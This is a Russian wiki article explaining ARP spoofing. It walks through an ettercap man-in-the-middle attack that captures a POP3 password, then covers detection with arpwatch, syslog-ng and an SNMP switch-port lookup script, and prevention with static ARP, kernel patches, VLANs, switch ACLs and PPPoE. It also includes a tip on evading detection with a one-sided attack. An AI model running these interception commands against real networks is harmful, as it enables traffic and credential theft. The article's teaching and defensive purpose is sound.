ARP-spoofing
Материал из Xgu.ru
- Автор: Игорь Чубин (и другие)
ARP-spoofing (ARP-poisoning) — техника сетевой атаки, применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена. Относится к числу spoofing-атак.
В статье детально описана техника атаки ARP-spoofing, на примере атаки, выполненной с помощью программы ettercap; рассмотрены такие методы обнаружения и предотвращения ARP-атак, как слежение за ARP-активностью с помощью arpwatch, наложение специальных патчей для придания иммунитета системам, использование VLAN и PPPoE. Показано как решать имеющие непосредственное отношение к протоколу ARP задачи: поиск компьютеров по известному MAC-адресу и обнаружение новых компьютеров в сети.
Содержание |
Протокол ARP и атаки с его использованием
Что такое и для чего нужен ARP
Протокол ARP предназначен для преобразования IP-адресов в MAC-адреса. Чаще всего речь идёт преобразовании в адреса Ethernet, но ARP используется и в сетях других технологий: Token Ring, FDDI и других.
Дополнительная информация:
- Address Resolution Protocol — страница в Wikipedia
- RFC 826 — описание стандарта ARP
Алгоритм работы ARP
Протокол может использоваться в следующих случаях:
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в одной сети;
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R.
В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B, а во втором — для определения MAC-адреса маршрутизатора R. В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.
Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)
Проблемы ARP
Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).
Самопроизвольный ARP — такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.
Самопроизвольный ARP может быть полезен в следующих случаях:
- Обновление ARP-таблиц, в частности, в кластерных системах;
- Информирование коммутаторов;
- Извещение о включении сетевого интерфейса.
Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.
Подробнее:
- Gratuitous_ARP на wiki.wireshark.org
ARP-spoofing
До выполнения ARP-spoofing'а
в ARP-таблице узлов A и B
существуют записи с IP- и MAC-адресами
друг друга.
Обмен информацией производится непосредственно
между узлами A и B. (зелёная стрелка)
В ходе выполнения ARP-spoofing'а компьютер C, выполняющий атаку, отправляет ARP-ответы (без получения запросов):
- узлу A: с IP-адресом узла B и MAC-адресом узла C;
- узлу B: с IP-адресом узла A и MAC-адресом узла C.
В силу того что компьютеры поддерживают самопроизвольный ARP (gratuitous ARP), они модифицируют собственные ARP-таблицы и помещают туда записи, где вместо настоящих MAC-адресов компьютеров A и B стоит MAC-адрес компьютера C. (красные стрелки)
После того как атака выполнена, когда компьютер A хочет передать пакет компьютеру B, он находит в ARP-таблице запись (она соответствует компьютеру C) и определяет из неё MAC-адрес получателя. Отправленный по этому MAC-адресу пакет приходит компьютеру C вместо получателя. Компьютер C затем ретранслирует пакет тому, кому он действительно адресован — т.е. компьютеру B. (синие стрелки)
Инструменты для выполнения ARP-spoofing'а
В настоящее время существует несколько инструментов для выполнения ARP-spoofing'а, работающие как в ОС Linux, так и в ОС Windows.
Наиболее известные:
Все названные программы распространяются свободно.
Выполнение ARP-spoofing'а c помощью ettercap
[Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.
- Что происходит на машине A.
- Что происходит на машине B.
- Что происходит на машине C.
Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing'а работают аналогичным образом.
- Машина A — hostA — 192.168.15.201 — 00:04:75:75:46:B1
- Машина B — hostB — 192.168.15.254 — 00:0A:01:D4:D1:39
- Машина C — hostC — 192.168.15.200 — 00:0A:01:D4:D1:E3
Атаку выполняет hostC против узлов hostA и hostB.
Установить ettercap принятым в системе способом:
hostC%# apt-get install ettercap
Выполнить атаку против узлов hostA и hostB:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Опции означают:
- -T — использовать текстовый (консольный) интерфейс;
- -M arp — использовать модуль ARP-spoofing'а для выполнения атаки;
- -L log — записывать журнал перехвата в файлы с именем log.*;
В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.
Пусть, например, в это время узел A
обращается к узлу B
по протоколу POP3,
классическому примеру незащищённого,
но очень распространённого протокола — проверяет почту.
hostA %# nc 192.168.15.254 110 USER user +OK PASS password +OK LIST +OK .
Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы.
После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую.
В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap:
%# ls log.* log.eci log.ecp
Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:
%# etterlog log.eci etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA Log file version : NG-0.7.3 Timestamp : Thu Jun 21 12:23:11 2007 Type : LOG_INFO 1698 tcp OS fingerprint 7587 mac vendor fingerprint 2183 known services ================================================== IP address : 192.168.15.201 MAC address : 00:04:75:75:46:B1 ... MANUFACTURER : Sohoware DISTANCE : 0 TYPE : LAN host FINGERPRINT : OPERATING SYSTEM : UNKNOWN PORT : TCP 110 | pop-3 [] ACCOUNT : user / password (192.168.15.201) ==================================================
Как видно, пароль был успешно перехвачен.
Посмотрим как на узле hostA (атакуемом)
меняется ARP-таблица
До атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Во время атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:E3 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
После атаки.
hostA%# arp -an ? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0 ? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.
%# tcpdump -i eth0 arp 08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown) 08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown) 08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown) 08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
Точно также можно перехватить и прослушать телефонный звонок - VoIP-sniffing.
Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.
Методы обнаружения
arpwatch
Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.
Инсталляция и конфигурирование arpwatch
Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux.
Установка arpwatch выполняется традиционным для дистрибутива способом:
%# apt-get install arpwatch 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 124kB of archives. After unpacking 389kB of additional disk space will be used. Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2 [124kB] Fetched 124kB in 0s (177kB/s) Selecting previously deselected package arpwatch. (Reading database ... 22406 files and directories currently installed.) Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ... Setting up arpwatch (2.1a13-2) ... Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.
После того как демон проинсталлирован, он автоматически запускается. (в других системах его, возможно, нужно будет запускать вручную.)
%# ps aux | grep arpwatch arpwatch 4810 0.5 0.4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p root 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch
Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD — в файле /etc/rc.conf).
При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:
%# vi /etc/default/arpwatch %# cat /etc/default/arpwatch # Global options for arpwatch(8). # Debian: don't report bogons, don't use PROMISC. ARGS="-N -p" # Debian: run as `arpwatch' user. Empty this to run as root. RUNAS="arpwatch"
Если конфигурация была изменена, демон должен быть перезапущен:
%# /etc/init.d/arpwatch restart
Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий — просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog.
Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:
# tail -f /var/log/daemon.log Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0 Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0 Jun 21 08:37:09 s_all@linux2 arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0 Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:11 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:12 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0 Jun 21 08:37:13 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Обратите внимание на строку
Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.
Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.
Дополнительная информация
- LBNL's Network Research Group — домашняя страница arpwatch
Обнаружение узла, выполняющего ARP-spoofing
- Основная статья: Поиск хоста по MAC-адресу
Если коммутатор управляемый, можно определить, на каком из его портов работает узел, имеющий определённый MAC-адрес.
Например, это можно сделать с помощью скрипта mac2port. Скрипт связывается с коммутатором по SNMP и опрашивает его таблицу соответствия MAC-адресов портам. Полученная информация выдаётся в удобном для поиска виде на стандартный поток вывода. Для упрощения использования скрипт выводит MAC-адреса в таком же формате, как это делает arpwatch.
Условия для использования скрипта:
- скрипт должен быть размещён в каталоге /usr/local/bin, или другом каталоге указанном в PATH;
- скрипт должен быть исполняемым (chmod +x mac2port) или вызываться с интерпретатором perl;
- в теле скрипта должен быть указан IP-адрес коммутатора и его SNMP RO community;
- коммутатор должен поддерживать SNMP версии 2; поддержка должна быть включена (не сложно переписать скрипт на более безопасный протокол SNMPv3, но эта версия работает именно с SNMPv2).
Пример использования скрипта:
%# ./mac2port 0:4:76:a1:ef:bb -> 1 0:a:1:d4:d1:e3 -> 2 0:15:60:79:8e:c0 -> 0 0:4:75:75:46:b1 -> 3 0:a:1:d4:d1:39 -> 44
Если ранее с помощью arpwatch была зафиксирована атака:
%# cat /var/log/daemon.log | grep 'changed ethernet address' Jun 21 08:37:09 s_all@linux2/192.168.15.201 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
можно воспользоваться скриптом, и определить с какого порта коммутатора она производилась (при этом не имеет значения, истинный ли это MAC-адрес сетевой карты атакующего или он был изменён):
%# mac=$(cat /var/log/daemon.log | grep 'changed ethernet address' | awk '{print $10}') %# ./mac2port | grep $mac 0:a:1:d4:d1:e3 -> 2
Важно чтобы определение выполнялось быстро, пока информация об атакующем ещё хранится в памяти коммутатора.
Для этого имеет смысл вызывать скрипт поиска автоматически при обнаружении соответствующей записи в системном журнале. Анализ журнала можно выполнять, например, такими средствами как swatch или syslog-ng.
Например, если используется syslog-ng.
можно создать скрипт, выполняющий анализ:
/usr/local/bin/syslog-ng-arpwatch
<sh/>
- !/bin/sh
PATH=$PATH:/usr/local/bin
while read line do mac="$(echo $line | grep 'changed ethernet address' | awk '{print $10}')" [ -z "$mac"] && continue ( echo POSSIBLY ARP-SPOOFING FROM:; mac2port | grep "$mac" )| logger -t arp-spoofing done
и подключить его к syslog-ng.
Для этого нужно в конфигурационном файле syslog-ng.conf указать следующие строки:
destination dp_arpspoofing { program("/usr/local/bin/syslog-ng-arpwatch"); }; filter f_arpspoofing { match ("arpwatch"); }; log { source(s_all); filter (f_arpspoofing); destination(dp_arpspoofing); };
Строку
filter (f_arpspoofing);
можно и не указывать, но на нагруженных системах, она существенно снижает нагрузку.
В этом случае при выполнении arp-spoofing'а происходит следующее:
- Демон arpwatch кидает информацию в syslog (через стандартный сокет /dev/log или /var/run/log);
- В том случае, если в качестве syslog-сервера используется Syslog-NG, он обнаруживает сигнатуру сообщения и передаёт обнаруженную строку скрипту syslog-ng-arpwatch;
- Скрипт syslog-ng-arpwatch, если видит, что проблема действительная связана с ARP-spoofing'ом, вызывает скрипт поиска порта по MAC-адресу;
- Скрипт mac2port обращается к коммутатору по SNMP;
- Коммутатор отвечает — передаёт таблицы содержащую информацию о соответствии MAC-адресов портам вызвавшему его скрипту;
- Скрипт mac2port возвращает таблицу соответствия MAC-адресов портам коммутатора скрипту syslog-ng-arpwatch;
- Скрипт syslog-ng-arpwatch находит интересующий порт и пишет сообщение в syslog;
- Демон syslog-ng записыват сообщение с информацией о порте коммутатора в файл, а также может передать его по SMS или почте администратору или вызвать внешнюю программу (которая, например, после дополнительных проверок может заблокировать порт коммутатора);
- Администратор читает об обнаруженной атаке в файле.
Вот как это выглядит в файле:
Jun 21 13:55:23 s_all@linux3 arp-spoofing: POSSIBLY ARP-SPOOFING FROM: Jun 21 13:55:23 s_all@linux3 arp-spoofing: 0:a:1:d4:d1:e3 -> 2
Текст скрипта mac2port
#!/usr/bin/perl our $community = "public"; our $switch = "192.168.15.100"; open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|") or die "Can't run snmpwalk"; while (<SNMP>) { chomp; s@.1.3.6.1.2.1.17.4.3.1.1@@; my ($oid, $mac) = split /=\s*/; $_=$mac; s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@g; $mac_table{$_}=$oid; } close(SNMP); open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|") or die "Can't run snmpwalk"; while (<SNMP>) { chomp; s@.1.3.6.1.2.1.17.4.3.1.2@@; my ($oid, $port) = split /=/; $ports_table{$oid}=$port; } close(SNMP); for $oid (keys %mac_table) { print "$oid -> ".$ports_table{$mac_table{$oid}}."\n"; }
Другие средства обнаружения
- XArp — аналог arpwatch для Windows
- remarp — аналог arpwatch, работающий через SNMP
- ArpStar — система автоматического обнаружения и предотвращения ARP-spoofing'a; возможно восстановление ARP-таблицы заражённых узлов
Методы предотвращения
Одностороняя атака Если нужно перехватить трафик, который уходит с какого-то узла в сети во внешнюю сеть, атаковать нужно узел и шлюз сети. Однако на шлюзе средство обнаружения ARP-spoofing'а может присутствовать с намного более высокой вероятностью, чем на узле. Поскольку нас интересует трафик, который узел отправляет в сеть, достаточно модифицировать ARP-таблицу только узла и не рисковать быть замеченным шлюзом. Данные, которые шлюз отправляет узлу будут проходить напрямую, а данные, которые узел отправляет шлюзу будут проходить через систему злоумышленника. (как на шлюзе, так и на узле можно было бы отследить, что на пакетах приходящих от узла MAC-адреса отличаются от тех, что записаны у него в ARP-таблице, т.е. что пакеты отправляются на один MAC-адрес, а приходят с другого. Но вот какие системы это делают?) |
Борьба с ARP-spoofing'ом с помощью arpwatch и подобных инструментов оказывается хотя и очень простой, но далеко не эффективной.
- Во-первых, для того чтобы зафиксировать атаку, на защищаемых узлах должна работать программа arpwatch (или аналогичная). В том случае если она запущена только на одном из двух узлов, подвергающихся ARP-spoofing'у, существует возможность незамеченной односторонней атаки.
- Во-вторых, и это более важно, arpwatch позволяет только зафиксировать атаку, но он не в состоянии её предотвратить.
Для предотвращения последствий атаки необходимо вмешательство администратора или внешней системы. В первом случае между обнаружением и реакцией администратора может пройти слишком много времени. Во втором вмешательство не требуется, реакция выполняется автоматически: как только ARP-аномалия зафиксирована, определяется порт коммутатора, к которому подключён источник аномалии, и порт блокируется до выяснения. Однако, такой подход имеет большой недостаток -- он может быть использован для выполнения DOS-атаки: достаточно только узнать MAC-адрес компьютера, который надо отключит от сети, и сымитировать атаку с этого компьютера. Дальше наша система обнаружения и предотвращения ARP-spoofing'а все сделает сама.
В основе рассматриваемых способов противодействия ARP-атакам лежат два совершенно различных принципа, каждый из которых обладает как достоинствами, так и недостатками.
Оба способа, помимо того что они надёжно защищают от ARP-spoofing'а имеют ещё то преимущество, что позволяют полностью контролировать трафик -- не только тот, что проходит через шлюз, но и тот, который циркулирует между машинами (В случае использования PPPoE машины могут по взаимному согласию обмениваться данными между собой напрямую. В случае использования VLAN такой возможности они лишены напрочь.)
Статический ARP
Можно бороться со слабостями протокола ARP кардинально -- просто не использовать его. ARP-таблицу можно сформировать вручную, при этом она становится неуязвимой к ARP-атакам. Для этого нужно добавить необходимые MAC-адреса в таблицу.
Если при этом отключить использование ARP на сетевых интерфейсах, то доступны будут только те системы, (1) MAC-адреса которых добавлены в ARP-таблицу нашего узла и (2) наш MAC-адрес добавлен в ARP-таблицы узлов, с которыми производится обмен трафиком.
Если не отключать использование ARP на сетевых интерфейсах, MAC-адрес заданный статически имеет приоритет. Если MAC-адрес для какого-то IP-адреса не задан, используется ARP-запрос.
Статическую ARP-таблицу можно получить на основе существующей ARP-таблицы маршрутизатора:
%# arp -an | grep -v incom | awk '{print $2" "$4}' | tr -d '()'
Если написать так:
%# arp -an | grep -v incom | awk '{print $2" "$4}' | tr -d '()' > /etc/ethers
она запишется в файл /etc/ethers
Нужно чтобы в таблице было максимальное количество машин сети.
Нужно или строить таблицу в момент пика сетевой активности
или предварительно пройдясь по всему диапазону адресов
пингами:
<sh/>
for i in `seq 1 255`
do
ping -c 1 192.168.15.$i >& /dev/null &
done (здесь 192.168.15.0/24 — сеть, для которой выполняется сканирование).
После того как файл /etc/ethers создан, его можно загружать с помощью команды:
%# arp -f /etc/ethers
Дальше можно вообще отключить ARP на интерфейсе, и те кто не прописан в /etc/ethers, вообще не смогут пользоваться маршрутизатором.
%# ifconfig eth1 -arp
Преимущества и недостатки
Метод ручного формирования ARP-таблиц имеет следующие недостатки:
- добавляется много рутинной работы, связанной с добавлением и модификацией MAC-адресов. Каждое изменение в сети, связанное с заменой или перестановкой сетевых карт, должно сопровождаться редактирование ARP-таблиц в файлах.
- клиентские узлы остаются по-прежнему уязвимыми к ARP-spoofing'у.
Патчи ядра системы
Существует патч (предложенные buggzy) для ядер Linux/FreeBSD, который позволяет свести к минимуму опасность успешного выполнения атаки ARP-spoofing против пропатченных систем.
Суть метода состоит в следующем. При приеме ARP-ответа производится сравнение старого и нового MAC-адресов, и при обнаружении его изменения запускается процедура верификации. Посылается ARP-запрос, требующий всем хозяевам IP-адреса сообщить свои MAC-адреса.
Если выполняется атака настоящая система, имеющая этот IP-адрес, ответит на запрос, и, таким образом, атака будет распознана. Если же изменение MAC-адреса было связано не с атакой, а со стандартными ситуациями, ответа, содержащего "старый" MAC-адрес, не будет, и по прошествию определенного таймаута система обновит запись в кеше.
При обнаружении подозрительной ситуации ("двойника") ядро выводит сообщение: "ARP_ANTIDOTE: Possible MITM attempt!", и не обновляет запись ARP-кеша, а наоборот, прописывает старую запись как статическую. После того как источник атаки выявлен и обезврежен, статическую запись можно удалить.
Патчи, реализующие этот метод борьбы:
Патчи работают только с ядром серии 2.4.
Другие методы борьбы с ARP-spoofing'ом
К сожалению, этот метод не применим к Windows-системам, и другим системам, работающим под управлением ОС, исходный код которых недоступен.
Необходимо решить проблему кардинально: нужно так построить сеть, чтобы выполнение ARP-spoofing'а в ней было принципиально невозможно. А если возможным, то бесполезным.
Это можно сделать двумя способами:
- Ограничить для каждого узла широковещательный домен до уровня двух узлов: самого узла и ближайшего шлюза. подробнее. Почему атаку невозможно выполнить в этом случае. Тогда атаку просто некому выполнять -- нужен третий. А его нет.
- Сделать так чтобы все, абсолютно все, передаваемые в сети данные были зашифрованы и прослушивание этих данных, ни к чему бы не привело. Любое же изменение данных, в случае возникновения, сразу же обнаружено. То есть, фактически сеть должна быть такой же и безопасной при использовании вместо коммутатора концентратора.
Первый способ делается с помощью VLAN'ов и/или packet filtering на коммутаторах. Второй -- с помощью PPPoE.
Использование VLAN
- Основная статья: VLAN
Компьютер C может использовать ARP-spoofing против компьютера A только в том случае, если они находятся в одной сети канального уровня. В том случае, если они разделены маршрутизатором, атака невозможна (возможна атака на маршрутизатор, но это совсем другое дело).
VLAN'ы помогают сегментировать сеть -- превратить одну сеть в множество изолированных на канальном уровне фрагментов, которые соединены между собой маршрутизатором. Атака ARP-spoofing возможна только между компьютерами находящимися в одном VLAN'е. В наиболее крайнем случае, когда в каждом VLAN'е находится только два компьютера: собственно компьютер и маршрутизатор, атака ARP-spoofing становится невозможной в принципе. К сожалению, такая организация сети являются очень требовательной к ресурсам маршрутизатора и используется редко.
Преимущества
- От клиента ничего не требуется. Он работает, как и работал. Если IP-адрес задан статически, необходима смена IP-адреса и сетевой маски.
- Данные не шифруются, и производительность не теряется. Малые потери на дополнительные поля в заголовке.
- Нельзя организовать обмен данными в обход шлюза между узлами в разных VLAN'ах. Если каждый узел находится в собственном VLAN'е такой обмен невозможен вообще.
Недостатки
- Необходима поддержка VLAN'ов коммутатором.
- Необходимо потратить время на настройку VLAN'ов, дополнительную настройку DHCP-сервера.
- Данные не шифруются. Если их прослушивание каким-то образом удастся, то они могут быть прочтены и/или модифицированы.
Существует мнение, что некоторые коммутаторы позволяют пересылать трафик из одного VLAN'а напрямую в другой в обход запрета прямой пересылки кадров между VLAN'ами. Об одном из способов подробнее можно почитать на странице [1] |
Использование packet filtering ACL на коммутаторах
Современные коммутаторы Dlink и Cisco поддерживают продвинутые инструменты анализа пакетов и фильтрацию по их параметрам. Существуют два направления фильтрации:
- Фильтрация всех ARP-пакетов на всех пользовательских портах, у которых в Sender protocol address (SPA) содержится IP-адрес шлюза. Тем самым защищаются от подмены адреса шлюза.
- Фильтрация всех ARP-пакетов на каждом из пользовательских портов, у которых Sender hardware address (SHA) и Sender protocol address (SPA) не совпадают с известными заранее MAC и IP-адресами пользователя этого порта. Тем самым защищаются от всех arp-атак, то есть не только адреса шлюза, но и адреса другого пользователя.
Настройку ACL для предотвращения ARP-spoofing'а зачастую увязывают в один комплекс с выдачей ip по DHCP с использованием опции 82, позволяющей выдавать ip по порту устройства и IP-Mac-Port binding, запрещающего подмены IP/MAC на третьем уровне.
Настройка коммутаторов Dlink описана в FAQ(1, 2, 3) и на форуме dlink.ru (1, 2), настройка коммутаторов ProCurve в этом wiki.
Преимущества
- От клиента ничего не требуется. Он работает, как и работал.
- Данные не шифруются, и производительность не теряется.
Недостатки
- Необходимость приобретения достаточно "умного" оборудования на access-уровень
- Необходим инструмент по автоматизации привязок и выдачи новых ip в случае легальной смены оборудования пользователем.
- Packet filtering запрещает подмены без какого-бы то ни было уведомления в логи.
Использование PPPoE
- Основная статья: PPPoE
Преимущества
- Данные шифруются
- Нет никаких требований к железу. Даже не обязательно чтобы сеть была коммутируемой
Недостатки
- На клиенте требуется настройка доступа по PPPoE. На некоторых системах требуется инсталляция специального клиентского программного обеспечения.
- За счёт потерь на инкапсуляцию, снижается производительность сети. Если выполняется шифрование данных, то временные потери увеличиваются.
- При взаимном согласии сторон можно организовать обмен данными между узлами в обход шлюза.
- При большом количестве соединений PPPoE (>200) возрастает нагрузка на центральный процессор сервера. Иногда, приходится жертвовать шифрованием данных.
- Если будет большая нагрузка на сервер легче использовать PPTPd или IPsec
Мифы и заблуждения, касающиеся ARP-spoofing
- ARP-spoofing можно предотвратить с помощью функции port-security коммутаторов
Функция port-security коммутатора позволяет защититься от смены MAC-адреса на порту коммутатора. В том случае если компьютер, подключенный к порту коммутатора меняет MAC-адрес или если меняется компьютер, коммутатор замечает подмену и перестаёт передавать пакеты отправленные с новым обратным адресом. Кроме этого, могут выполняться другие действия: отсылка SNMP-трапа, запись в syslog и тому подобное.
При ARP-spoofing'е MAC-адрес отправителя (атакующего) не меняется и поэтому с точки зрения port-security никаких аномалий нет. Функция port-security никак не отвечает за соответствие IP-адресов и MAC-адресов, а атака ARP-spoofing построена именно на этом.-
Дополнительная информация
- An introduction to ARP spoofing, Sean Whalen (англ.)
- ARP-spoofing в русской Википедии (рус.)
- ARP-spoofing в Wikipedia (англ.)
- ARP: Questions & Answers
- Multiple Network Interfaces And ARP Flux — интересная страница про ARP на wiki-сайте OpenVZ
- Когда появился arp_accept? — обсуждение в списке рассылки debian-russian
- Реализация ARP spoofing в локальной сети и практический пример перехвата пароля - в сообществе системных администраторов
Заметки на форумах:
- Про ARP-spoofing на пальцах — заметка на форуме local.com.ua
- ARP-spoofing и методы борьбы с ним — обсуждение статьи на форуме Linux.org.ru
Материалы по безопасности на Xgu.ru | ||
---|---|---|
Уровень приложений | SSL • SSH | |
Транспортный уровень | TLS • | |
Сетевой уровень | Безопасность BGP • IPsec • | |
Уровень доступа к сети | VPN • OpenVPN • OpenSSL • 802.1x • VLAN • Port security | |
Методы атаки | Spoofing (IP-spoofing, DNS-spoofing, ARP-spoofing, MAC-spoofing) • | |
Анализ и pen-testing | Snort (Sneeze, Oinkmaster, BASE) • Firewall Piercing • arpwatch • ettercap |